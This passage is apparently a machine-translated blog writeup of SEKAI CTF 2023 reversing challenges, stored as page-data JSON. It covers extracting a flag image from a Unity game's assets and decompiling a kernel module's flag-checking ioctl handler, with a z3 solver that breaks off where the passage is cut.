{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-sekaictf-2023-en","result":{"data":{"markdownRemark":{"id":"8bff27e9-573e-5da9-a1d1-bb955a9f1e30","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-sekaictf-2023\">original page</a>.</p>\n</blockquote>\n<p>I participated in SEKAI CTF 2023, which started on 8/26, as part of 0nePadding.</p>\n<p>Our final rank this time was 347th.</p>\n<p>While lamenting my lack of skill, I am writing this writeup as usual to review the problems.</p>\n<p>There were several challenges that looked interesting, so I would also like to try the ones I could not solve later.</p>\n<!-- omit in toc -->\n<h2 id=\"contents\" style=\"position:relative;\"><a href=\"#contents\" aria-label=\"contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Contents</h2>\n<ul>\n<li><a href=\"#azusawas-gacha-worldrev\">Azusawa’s Gacha World(Rev)</a></li>\n<li><a href=\"#guardians-of-the-kernelrev\">Guardians of the Kernel(Rev)</a></li>\n<li><a href=\"#eval_meforensic\">Eval_Me(Forensic)</a></li>\n<li><a href=\"#def-con-invitationforensic\">DEF CON Invitation(Forensic)</a></li>\n<li><a href=\"#infectedforensic\">Infected(Forensic)</a></li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"azusawas-gacha-worldrev\" style=\"position:relative;\"><a href=\"#azusawas-gacha-worldrev\" aria-label=\"azusawas gacha worldrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Azusawa’s Gacha World(Rev)</h2>\n<p>I will not include screenshots because there seemed to be various copyright-related issues, but this challenge involved analyzing a copy of a social game app with the Flag embedded in it.</p>\n<p>The Flag was embedded in the image of an SSR whose gacha drop rate was set to 0%.</p>\n<p>The challenge binary was a game implemented in Unity, so I analyzed the logic by examining <code class=\"language-text\">Assembly-CSharp.dll</code> with ILSpy.</p>\n<p>Reference: <a href=\"https://www.kodeco.com/36285673-how-to-reverse-engineer-a-unity-game\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">How to Reverse Engineer a Unity Game | Kodeco</a></p>\n<p>However, I thought it would be faster to extract the resources than to follow the implementation, so I extracted the game images with AssetStudio and was able to obtain the Flag.</p>\n<h2 id=\"guardians-of-the-kernelrev\" style=\"position:relative;\"><a href=\"#guardians-of-the-kernelrev\" aria-label=\"guardians of the kernelrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Guardians of the Kernel(Rev)</h2>\n<blockquote>\n<p>It’s just a warmup but with another layer which is the kernel.</p>\n<p>Attachment</p>\n</blockquote>\n<p>The challenge binaries provided were <code class=\"language-text\">bzImage</code> and <code class=\"language-text\">initramfs.cpio</code>.</p>\n<p>When I extracted the file system locally with the following command, I was able to obtain a kernel driver file named <code class=\"language-text\">flag_checker.ko</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token function\">mkdir</span> root\n<span class=\"token builtin class-name\">cd</span> root<span class=\"token punctuation\">;</span> cpio -idv <span class=\"token operator\">&lt;</span> <span class=\"token punctuation\">..</span>/initramfs.cpio</code></pre></div>\n<p>After decompiling this with IDA, I obtained the following <code class=\"language-text\">device_ioctl</code> function.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">__int64 __fastcall <span class=\"token function\">device_ioctl</span><span class=\"token punctuation\">(</span>__int64 a1<span class=\"token punctuation\">,</span> <span class=\"token keyword\">int</span> a2<span class=\"token punctuation\">,</span> __int64 a3<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  __int64 result<span class=\"token punctuation\">;</span> <span class=\"token comment\">// rax</span>\n  <span class=\"token keyword\">unsigned</span> __int8 <span class=\"token operator\">*</span>v6<span class=\"token punctuation\">;</span> <span class=\"token comment\">// rax</span>\n  <span class=\"token keyword\">int</span> v7<span class=\"token punctuation\">;</span> <span class=\"token comment\">// edx</span>\n  <span class=\"token keyword\">int</span> v8<span class=\"token punctuation\">;</span> <span class=\"token comment\">// eax</span>\n  <span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">int</span> v9<span class=\"token punctuation\">;</span> <span class=\"token comment\">// eax</span>\n  __int64 v10<span class=\"token punctuation\">;</span> <span class=\"token comment\">// rdx</span>\n\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> a2 <span class=\"token operator\">==</span> <span class=\"token number\">28673</span> <span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">!</span>layers<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">!</span><span class=\"token function\">copy_from_user</span><span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">,</span> <span class=\"token number\">7LL</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n      buffer<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n      v6 <span class=\"token operator\">=</span> buffer<span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> __int8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">*</span>v6 <span class=\"token operator\">-</span> <span class=\"token number\">48</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">9u</span> <span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">&amp;</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token operator\">++</span>v6 <span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n          v7 <span class=\"token operator\">=</span> <span class=\"token number\">7</span> <span class=\"token operator\">*</span> <span class=\"token function\">__ROL4__</span><span class=\"token punctuation\">(</span><span class=\"token number\">1507359807</span> <span class=\"token operator\">*</span> <span class=\"token function\">__ROR4__</span><span class=\"token punctuation\">(</span><span class=\"token number\">422871738</span> <span class=\"token operator\">*</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_DWORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>buffer<span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n          v8 <span class=\"token operator\">=</span> <span class=\"token function\">__ROR4__</span><span class=\"token punctuation\">(</span><span class=\"token number\">422871738</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> buffer<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n          v9 <span class=\"token operator\">=</span> <span class=\"token number\">1984242169</span>\n             <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v7 <span class=\"token operator\">+</span> <span class=\"token number\">1204333666</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1507359807</span> <span class=\"token operator\">*</span> v8<span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token number\">7</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v7 <span class=\"token operator\">+</span> <span class=\"token number\">1204333666</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">int</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token number\">1507359807</span> <span class=\"token operator\">*</span> v8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n          <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">1817436554</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v9 <span class=\"token operator\">>></span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> v9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">1817436554</span> <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v9 <span class=\"token operator\">>></span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> v9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">261736481</span> <span class=\"token punctuation\">)</span>\n            <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n          <span class=\"token keyword\">return</span> <span class=\"token function\">device_ioctl_cold</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> <span class=\"token operator\">-</span><span class=\"token number\">14LL</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> a2 <span class=\"token operator\">==</span> <span class=\"token number\">28674</span> <span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">!</span>layers<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n    v10 <span class=\"token operator\">=</span> <span class=\"token function\">copy_from_user</span><span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">,</span> <span class=\"token number\">12LL</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">!</span>v10 <span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">do</span>\n      <span class=\"token punctuation\">{</span>\n        buffer<span class=\"token punctuation\">[</span>v10<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> buffer<span class=\"token punctuation\">[</span>v10 <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">*</span> <span class=\"token operator\">~</span><span class=\"token punctuation\">(</span>_BYTE<span class=\"token punctuation\">)</span>v10<span class=\"token punctuation\">;</span>\n        <span class=\"token operator\">++</span>v10<span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span> v10 <span class=\"token operator\">!=</span> <span class=\"token number\">12</span> <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_QWORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>buffer <span class=\"token operator\">!=</span> <span class=\"token number\">0x788C88B91D88AF0ELL</span> <span class=\"token operator\">||</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_DWORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token operator\">&amp;</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">2113081836</span> <span class=\"token operator\">||</span> buffer<span class=\"token punctuation\">[</span><span class=\"token number\">12</span><span class=\"token punctuation\">]</span> <span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n      <span class=\"token function\">printk</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>unk_2EB<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">return</span> <span class=\"token number\">1LL</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> <span class=\"token operator\">-</span><span class=\"token number\">14LL</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> a2 <span class=\"token operator\">!=</span> <span class=\"token number\">28672</span> <span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">printk</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>unk_302<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token function\">copy_from_user</span><span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">,</span> <span class=\"token number\">6LL</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> <span class=\"token operator\">-</span><span class=\"token number\">14LL</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_DWORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>buffer <span class=\"token operator\">!=</span> <span class=\"token number\">1095451987</span> <span class=\"token operator\">||</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_WORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token operator\">&amp;</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">31561</span> <span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">printk</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>unk_2B6<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  result <span class=\"token operator\">=</span> <span class=\"token number\">1LL</span><span class=\"token punctuation\">;</span>\n  layers<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">return</span> result<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>The code is broadly split into three parts, and you can see that each part validates a portion of the Flag string.</p>\n<p>First, here is the initial layer.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> a2 <span class=\"token operator\">!=</span> <span class=\"token number\">28672</span> <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token function\">printk</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>unk_302<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token function\">copy_from_user</span><span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">,</span> <span class=\"token number\">6LL</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span> <span class=\"token keyword\">return</span> <span class=\"token operator\">-</span><span class=\"token number\">14LL</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_DWORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>buffer <span class=\"token operator\">!=</span> <span class=\"token number\">1095451987</span> <span class=\"token operator\">||</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_WORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token operator\">&amp;</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">31561</span> <span class=\"token punctuation\">)</span> <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">printk</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>unk_2B6<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nresult <span class=\"token operator\">=</span> <span class=\"token number\">1LL</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>As you can tell at a glance, this shows that the first 6 bytes of the Flag match <code class=\"language-text\">SEKAI{</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 359px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/b0e42b7a003b558edf0dd5246fbab634/f5eb6/image-20230828222053906.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 60.416666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABuklEQVQoz6WSXW8SQRRAN0ZbP6C10WhMG9sKFGiXnZ3dZdmCgLCwwAKlhoqWpuqDH00fjPHRP38cB2xQo2n14eRmZu6ce29mDMcWdEsSV9q4nofv+wT7wSwGAY7jIB2JJSVVV9DwbITa8zyXUqmk835gWRaGWzD52vYIK2WiqEO/G3MwGNKsN2iHLVXIRVqCnCk4Kduchz61MFI5A47GY/pxTNztEbUjpG1jFB+Z+BsOzv08jXRAtFslzJYZyJCOWdPrgWzpaK3l2E2kEStpLEUhmfoJsZrBeLblM7Y7HO+PeBdNmfgDRlabV8EBY6fHCy/WZ8O9kOJKHrH8BPtWWpGaxwVupjBamTJDs8mb5oTp0+eU7pk4yR28u3kdzaUt8tc22Lu+ifguua06/AtG7bHHoWjTy9Y4UcIP8SkvgyGfxu85rR9RfiC0SN7JzGRz6Z/QHca5uro8Zlo55GP/NSNV4Gz4lvq6i3lj81KiC2EzFdDJVPlyfM7nyRlZY52iGtdNZi+SLivTQrm6o8epPLQ1haVtLViUXEloJdRl9TqF5W3NrwlXkWmhSM6/wD8KfhcmZkLxH5JFvgG9g2fWMCJaLwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/b0e42b7a003b558edf0dd5246fbab634/8ac56/image-20230828222053906.webp 240w,\n/static/b0e42b7a003b558edf0dd5246fbab634/4b5c0/image-20230828222053906.webp 359w\"\n              sizes=\"(max-width: 359px) 100vw, 359px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/b0e42b7a003b558edf0dd5246fbab634/8ff5a/image-20230828222053906.png 240w,\n/static/b0e42b7a003b558edf0dd5246fbab634/f5eb6/image-20230828222053906.png 359w\"\n            sizes=\"(max-width: 359px) 100vw, 359px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/b0e42b7a003b558edf0dd5246fbab634/f5eb6/image-20230828222053906.png\"\n            alt=\"image-20230828222053906\"\n            title=\"image-20230828222053906\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Next, let us look at the following layer.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> a2 <span class=\"token operator\">==</span> <span class=\"token number\">28674</span> <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">!</span>layers<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\nv10 <span class=\"token operator\">=</span> <span class=\"token function\">copy_from_user</span><span class=\"token punctuation\">(</span>buffer<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">,</span> <span class=\"token number\">12LL</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">!</span>v10 <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">do</span>\n  <span class=\"token punctuation\">{</span>\n    buffer<span class=\"token punctuation\">[</span>v10<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> buffer<span class=\"token punctuation\">[</span>v10 <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">*</span> <span class=\"token operator\">~</span><span class=\"token punctuation\">(</span>_BYTE<span class=\"token punctuation\">)</span>v10<span class=\"token punctuation\">;</span>\n    <span class=\"token operator\">++</span>v10<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span> v10 <span class=\"token operator\">!=</span> <span class=\"token number\">12</span> <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_QWORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>buffer <span class=\"token operator\">!=</span> <span class=\"token number\">0x788C88B91D88AF0ELL</span> <span class=\"token operator\">||</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>_DWORD <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token operator\">&amp;</span>buffer<span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">2113081836</span> <span class=\"token operator\">||</span> buffer<span class=\"token punctuation\">[</span><span class=\"token number\">12</span><span class=\"token punctuation\">]</span> <span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0LL</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">printk</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>unk_2EB<span class=\"token punctuation\">,</span> a3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">return</span> <span class=\"token number\">1LL</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">return</span> <span class=\"token operator\">-</span><span class=\"token number\">14LL</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>This part is also very simple: it applies <code class=\"language-text\">buffer[i] += buffer[i + 1] * ~(_BYTE)i</code> to the last 12 characters of the Flag and checks whether the result matches the hard-coded byte values.</p>\n<p>I was able to solve this with the following solver.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> z3 <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\nflag <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>BitVec<span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"flag[</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>i<span class=\"token punctuation\">}</span></span><span class=\"token string\">]\"</span></span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\nbuf  <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>BitVec<span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"buf[</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>i<span class=\"token punctuation\">}</span></span><span class=\"token string\">]\"</span></span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n\ns <span class=\"token operator\">=</span> Solver<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>And<span class=\"token punctuation\">(</span>\n        <span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span>i<span 